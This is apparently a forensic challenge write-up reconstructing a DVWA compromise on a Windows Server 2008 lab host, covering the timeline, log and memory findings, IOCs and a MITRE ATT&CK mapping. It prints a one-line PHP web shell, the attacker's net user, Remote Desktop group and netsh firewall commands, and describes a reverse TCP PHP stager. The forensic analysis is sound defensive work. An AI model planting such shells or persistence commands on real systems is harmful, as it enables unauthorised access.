Windows Server 2008 / DVWA Compromise
A forensic reconstruction of a web application compromise involving DVWA, sqlmap, PHP web shells, memory-resident attacker artefacts, and attempted Windows persistence.
1. Executive Summary
The examined Windows Server 2008 system was compromised through the DVWA web application
hosted on XAMPP. The attacker, operating from 192.168.56.102, tested several
vulnerable DVWA modules and successfully exploited SQL Injection using sqlmap.
This enabled PHP code to be written into the web root and led to deployment of multiple web shells.
Post-exploitation evidence shows command execution, web shell usage, c99 shell deployment,
a reverse-shell payload targeting 192.168.56.102:4545, and attempts to create
Windows users and enable Remote Desktop access. Memory analysis was decisive: it recovered
command history and HTTP artefacts that were not available in Windows Security event logs.
SQL Injection and file upload abuse were used to gain execution.
phpshell.php, c99.php, and phpshell2.php were recovered.
Volatility recovered console commands and Apache worker memory strings.
2. Short Answers to Challenge Questions
| Question | Answer |
|---|---|
| What type of attacks were performed? | Web application attacks: SQL Injection, XSS testing, LFI testing, file upload abuse, web shell deployment, remote command execution, and attempted Windows persistence. |
| How many users were added and how? | Evidence shows attempts involving user1 and hacker. user1 was created via interactive net user commands recovered from console history. hacker creation commands were recovered from Apache process memory, likely via command injection/web shell activity. |
| What leftovers did attackers leave? | Web shells, c99 shell, reverse shell payload, attacker-created directory abc, memory-resident command strings, PHP session artefacts, Apache/PHP log traces. |
| What software was installed? | Windows Server 2008 SP1, XAMPP, Apache, MySQL, FileZilla Server, VirtualBox Guest Additions. XAMPP appears pre-existing; web shells were attacker artefacts. |
| Using memory forensics, shellcode type? | The most relevant payload was a PHP reverse TCP stager in phpshell2.php, configured to connect to 192.168.56.102:4545 and execute received code via eval(). |
| Timeline? | Recon → SQLi/sqlmap → temporary shell → uploaded web shell → c99 → reverse shell → account/RDP persistence attempts → memory acquisition. |
| Hypothesis and approach? | The attacker exploited DVWA to gain command execution, then attempted persistence. Approach: correlate registry, event logs, Apache logs, PHP logs, filesystem timestamps, and memory. |
| Anything else? | Memory was critical because Windows Security logs did not preserve expected account creation/group membership events. |
3. Environment and Evidence Sources
| Item | Finding |
|---|---|
| Operating System | Windows Server 2008 Standard SP1, 32-bit |
| Timezone | Pacific Time; ActiveTimeBias indicated UTC-7 during the incident period |
| Web Stack | XAMPP, Apache, PHP, MySQL, FileZilla Server |
| Memory Profile | Win2008SP1x86 / Vista SP1 kernel family |
| Memory Acquisition Time | 2015-09-03 10:04:05 UTC |
| Primary Log Source | /xampp/apache/logs/access.log |
4. Attack Chain
5. Incident Timeline
Apache, MySQL, FileZilla Server, and XAMPP components present and active.
Apache logs show XSS, LFI, SQLi and DVWA setup activity from
192.168.56.102.SQL Injection activity includes sqlmap User-Agent and
INTO OUTFILE behaviour.Apache logs show
?cmd=dir, ?cmd=dir C:\, and ?cmd=mkdir abc.Repeated
c99.php requests and act=cmd interactions observed.phpshell2.php uploaded and requested; payload targets 192.168.56.102:4545.Memory acquisition tooling observed in process list.
RAM image captured while attacker artefacts remained recoverable.
6. Web Server Findings
SQL Injection and sqlmap
Apache access logs showed requests to DVWA SQL Injection endpoints with the User-Agent
sqlmap/1.0-dev-nongit-20150902. The logs also contained evidence of an
INTO OUTFILE payload writing PHP into the web root.
Simple PHP Command Shell
Recovered phpshell.php contained:
<?php system($_GET["cmd"]); ?>
This exposes operating system command execution through the HTTP cmd parameter.
c99 Web Shell
c99.php was recovered and accessed by the attacker. c99 is a well-known PHP web shell
that provides file browsing, command execution, upload/download capability, and other post-exploitation features.
Reverse Shell Payload
phpshell2.php contained PHP socket code configured to connect back to
192.168.56.102 on TCP port 4545, receive code, and execute it with
eval().
7. Memory Forensics Findings
Volatility analysis of the memory image identified two active Apache worker processes,
httpd.exe PID 2796 and PID 2880. Process memory dumping of PID 2880 recovered
raw attacker artefacts that were not visible in normal logs.
Recovered Console History
net user user1 user1 /add net user user1 root@psut /add net user user1 Root@psut /add net localgroup "Remote Desktop Users" user1 /add netsh firewall set service type=remotedesktop mode=enable scope=subnet
Recovered Apache Process Memory Strings
Owned by hacker net user hacker hacker /add net localgroup "Remote Desktop Users" hacker /add
Generic Web-Shell Toolkit Artefacts
Apache worker memory also contained Linux privilege-enumeration commands, such as searches
for SUID/SGID files, writable directories, .htpasswd, and .bash_history.
These were likely part of a generic web shell toolkit and not directly applicable to the Windows victim.
8. Filesystem Evidence
| Path | Interpretation |
|---|---|
/xampp/htdocs/DVWA/hackable/uploads/phpshell.php | Simple PHP command shell uploaded through DVWA. |
/xampp/htdocs/DVWA/c99.php | Advanced PHP web shell. |
/xampp/htdocs/DVWA/hackable/uploads/phpshell2.php | Reverse TCP PHP stager. |
/xampp/htdocs/DVWA/hackable/uploads/abc | Directory created by attacker command mkdir abc. |
/xampp/htdocs/DVWA/webshell.php | Pre-existing simple shell found in webshell archive; potentially training artefact. |
9. Indicators of Compromise
Network
192.168.56.102192.168.56.102:4545
Files
phpshell.phpphpshell2.phpc99.phptmpudvfh.phptmpbrjvl.php
Commands
net usernet localgroupnetsh firewallmkdir abc
10. MITRE ATT&CK Mapping
| Tactic | Technique | Evidence |
|---|---|---|
| Initial Access | T1190 – Exploit Public-Facing Application | DVWA exploitation via SQLi/file upload |
| Execution | T1059 – Command and Scripting Interpreter | PHP system() shell and c99 commands |
| Persistence | T1136 – Create Account | net user user1, net user hacker |
| Persistence / Lateral Movement | T1021 – Remote Services | Remote Desktop Users group and firewall commands |
| Command and Control | T1505.003 – Web Shell | phpshell.php, c99.php |
| Command and Control | T1105 – Ingress Tool Transfer | Uploaded shells and staged payloads |
11. Conclusion
The evidence supports a high-confidence conclusion that the server was compromised through DVWA. The attacker performed reconnaissance, exploited SQL Injection with sqlmap, uploaded multiple web shells, executed commands, and attempted persistence through Windows user creation and RDP enablement.
The most important lesson from this case is evidentiary correlation. Apache logs explained the web attack, filesystem artefacts confirmed dropped files, PHP logs confirmed shell testing, registry artefacts established system context, and memory forensics recovered attacker commands absent from event logs.